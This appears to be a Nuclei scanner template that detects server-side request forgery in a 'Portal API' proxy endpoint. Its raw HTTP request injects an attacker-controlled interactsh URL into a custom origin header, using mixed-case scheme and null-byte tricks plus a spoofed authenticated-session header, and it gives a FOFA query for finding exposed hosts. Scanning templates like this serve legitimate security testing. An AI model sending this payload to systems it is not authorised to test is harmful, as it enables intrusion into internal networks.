id: portal-api-ssrf

info:
  name: Portal API - Server Side Request Forgery
  author: ishowtess
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) vulnerability in the Portal API endpoint by injecting a crafted X-Portal-Context-Origin header.
  reference:
    - https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
  classification:
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/_proxy/api/v3/"
  tags: ssrf,api,portal,http,vuln

http:
  - raw:
      - |
        GET /_proxy/api/v3/portal HTTP/1.1
        Host: {{Hostname}}
        X-Portal-Context-Origin: HttP://{{interactsh-url}}?%00
        X-Portal-Session-Authenticated: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "/api/v3/portal")'
        condition: and

    extractors:
      - type: regex
        name: interaction_id
        part: interactsh
        regex:
          - "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
# digest: 4a0a00473045022100e789423acd6fd745ca0f216bc10c794200dee25d387552350cc97c00bde4cd2d02202413ca2cae084ba272cf9c2069ed339cc4248517d325eb8b174972117f957111:922c64590222798bb761d5b6d8e72950